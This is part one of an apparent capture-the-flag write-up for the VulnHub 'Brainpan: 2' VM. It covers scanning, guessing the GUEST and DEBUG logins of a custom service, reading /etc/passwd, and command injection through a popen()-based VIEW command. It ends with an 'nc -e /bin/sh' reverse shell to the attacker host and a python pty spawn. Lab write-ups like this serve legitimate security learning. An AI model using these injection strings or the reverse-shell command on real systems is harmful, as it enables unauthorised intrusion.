Hi and welcome in another part of the “PENTEST LAB”. Last time I’ve presented the
solution for “Drunk Admin Web Hacking Challenge 1” and you can find it
here.
Today I’m gonna play with “Brainpan: 2” available here.
By the way if you are looking for such hacking challenges check the
VulnHub,they’ve got it all :)
Target is a virtual machine configured to obtain IP from DHCP server.
The name “Brainpan” comes probably from a things that system will do to your
brain if you try beating it :)
!!!SPOILER ALERT!!!
If you want to finish this challenge alone stop reading here.
FINAL GOAL: Obtain flag from /root/flag.txt
Challenge accepted!!
First things first, let’s discover the target’s IP.
Currently scanning: Finished! | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 5 hosts. Total size: 246
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.57.1 08:00:27:70:33:db 01 060 CADMUS COMPUTER SYSTEMS
...
192.168.57.10 08:00:27:67:ad:75 01 042 CADMUS COMPUTER SYSTEMS
There it is, let’s run nmap over it.
# nmap -sV -Pn -n -A 192.168.57.10
Starting Nmap 6.45 ( http://nmap.org ) at 2014-06-06 10:54 CEST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 192.168.57.10
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Hacking Trends
| ndmp-version:
|_ ERROR: Failed to get host information from server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port9999-TCP:V=6.45%I=7%D=6/6%Time=539181CD%P=x86_64-unknown-linux-gnu%
SF:r(NULL,296,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\
SF:|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\
SF:x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x
SF:20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x
SF:20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20_\|\n\n\[______________________\x20WELCOME\x20TO\x20BRAINPAN
SF:\x202\.0________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20LOGIN\x20AS\x20GUEST\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:67:AD:75 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.10 ms 192.168.57.10
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.09 seconds
Two random looking ports opened. One is a Python HTTP server and the other is some custom app probably.
Let’s connect to these ports and see what else can we learn about it. The HTTP server is hosting some image.
Running dirbuster against it I found one folder available for access with file inside.
I’ve googled SimpleHTTPServer and found that there was some Local File Inclusion vulnerability in it.
Unfortunately that one looks fixed. Probably dead end.
Let’s hop to the application running on port 9999. One useful tip here…do not use telnet.
I’ve had some real troubles here because I couldn’t read files while using telnet.
Netcat will do fine :) Why…? Dunno but probably telnet sends ‘\r\n’ as newline char
and it’s messing up inside app. Ok, so let’s have a look…some nice banner and message
“LOGIN AS GUEST”. My first command was “help” with “ACCESS DENIED” response.
I thought that maybe that message is a tip, and I went through:
login, login guest, login: guest, guest and so on. The response was always the same…
I’ve copied the message under the banner, not that…so I’ve copied only “GUEST”…that was it!
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[______________________ WELCOME TO BRAINPAN 2.0________________________]
LOGIN AS GUEST
>> GUEST
ACCESS GRANTED
* * * *
THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
* * * *
>>
Some info and command “TELL ME MORE”. I’ve sent it and got all commands list.
>> TELL ME MORE
FILES HELP VIEW CREATE
USERS MSG SYSTEM BYE
The “HELP” was my first one. Looks like that app is some kind of a file transfer server.
It gives you ability to view and upload files. Command “FILES” display all stored files.
>> FILES
total 36
-rwxr-xr-x 1 root root 18424 Nov 4 2013 brainpan.exe
-rw-r--r-- 1 root root 1109 Nov 5 2013 brainpan.txt
-rw-r--r-- 1 root root 683 Nov 4 2013 notes.txt
-rw-r--r-- 1 anansi anansi 12 Nov 5 2013 test-1
-rwxrwxrwx 1 anansi anansi 19 Nov 5 2013 test-2
>>
Output looks like the output from the “ls” command. There were some files already on the server.
I’ve looked inside them…brainpan.exe is probably a binary of the app I’ve connected to,
brainpan.txt is a manual to it, notes.txt is nice and mentions that app is using popen():
>> VIEW
ENTER FILE TO DOWNLOAD: notes.txt
TODO LIST
---------
reynard:
- Completed manpage. Read with groff or man.
- Renamed to brainpan.txt instead of brainpan.7.
- Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc...
anansi:
- Fixed a reported buffer overflow in login in version 1.0.
- Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
>>
Let’s try to view /etc/passwd:
>> VIEW
ENTER FILE TO DOWNLOAD: /etc/passwd
root:x:104:106:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
root :x:0:0:root:/var/root:/bin/bash
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash
puck:x:1001:1001:puck,,,:/home/puck:/bin/bash
reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash<
So sweet :) I can view any file I’ve got access inside system.
From files list I’ve found uid one of the system user. I’ve tried creating and
reading files inside his home directory with success.
>> CREATE
ENTER FILE TO CREATE: /home/anansi/somefilename
ENTER CONTENTS: content\nblahblahblah
FILE CREATED
>> VIEW
ENTER FILE TO DOWNLOAD: /home/anansi/somefilename
content\nblahblahblah
>>
That means one can read every file that user got permission to and create files
in writable directories. I’ve checked other commands but almost all were not yet
implemented. Few were not available for guest user. In that moment I’ve recalled
that there was one sentence inside HELP that caught my attention.
AUTHENTICATION
There is currently no proper authentication mechanism in place. At this
time the software is in it's alpha stage. The only avaiable account is
GUEST. The DEBUG account will alter the output of some commands - useful for developers.
It’s mentioning DEBUG user. I’ve logged out from app and connected again this time
providing “DEBUG” instead “GUEST” account. With this account I could run “SYSTEM” command.
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[______________________ WELCOME TO BRAINPAN 2.0________________________]
LOGIN AS GUEST
>> DEBUG
ACCESS GRANTED
* * * *
THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
* * * *
>> SYSTEM
LANG=en_US.UTF-8
HOME=/home/anansi
COLORTERM=(null)
PWD=/opt/brainpan
PATH=/bin:.:/usr/bin:/sbin
SHLVL=1
>>
Let’s stop here and summarize what we already know about the target:
- it’s running with single IP:192.168.57.10 (in my case)
- it has two open ports 9999 and 10000
- on port 10000 is running http server (nothing interesting here)
- that http server is Python based which means Python is installed and can be used
- on port 9999 is running some custom file transfer app
- custom app gives ability to read/write files in system, not only in app root
- the app is in /opt/brainpan
- the access to DEBUG user is not restricted and thus giving full access to the app
- from notes.txt we know that app is using popen() to view files etc.
I could easily upload any file to the target but I couldn’t execute it.
Next step will be finding remote code execution on the target system. I’ve targeted
the custom app running on port 9999. In situations like that one creating a program
pseudocode is a good idea. Let’s look into it:
stdin -> command
switch(command)
HELP:
popen() // from the notes.txt
FILES:
popen() // from the notes.txt
VIEW:
stdin -> filename
popen()
SYSTEM:
echo system info
CREATE:
stdin -> filename
stdin -> body
From the popen manual I found this:
The command argument is a pointer to a null-terminated string containing
a shell command line. This command is passed to /bin/sh using the -c flag;
interpretation, if any, is performed by the shell.
This means more than one command can be executed using popen(), the only thing
we need is to inject our command to it. The only two commands that probably use
user input inside popen() is VIEW and CREATE. I’ve started with VIEW:<
>> VIEW
ENTER FILE TO DOWNLOAD: notes.txt; echo "some unexpected text $%!@#!%@YSAGDWDW";
TODO LIST
---------
reynard:
- Completed manpage. Read with groff or man.
- Renamed to brainpan.txt instead of brainpan.7.
- Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc...
anansi:
- Fixed a reported buffer overflow in login in version 1.0.
- Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
some unexpected text $%!@#!%@YSAGDWDW
>>
That’s a success! I’ve got remote code execution. Let’s check if there’s netcat on the system.
>> VIEW
ENTER FILE TO DOWNLOAD: ; which netcat;
/bin/netcat
>>
Yes there is! Here comes remote shell (yes you can create file with some Metasploit payload and run it too):
>> VIEW
ENTER FILE TO DOWNLOAD: a; nc -e /bin/sh 192.168.57.1 6666
$ nc -l -p 6666 -v
nc: listening on :: 6666 ...
nc: listening on 0.0.0.0 6666 ...
nc: connect to 192.168.57.1 6666 from 192.168.57.10 (192.168.57.10) 60096 [60096]
id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
python -c 'import pty;pty.spawn("/bin/bash");'
anansi@brainpan2:/opt/brainpan$
I have access to the system now and that’s the end of the part I.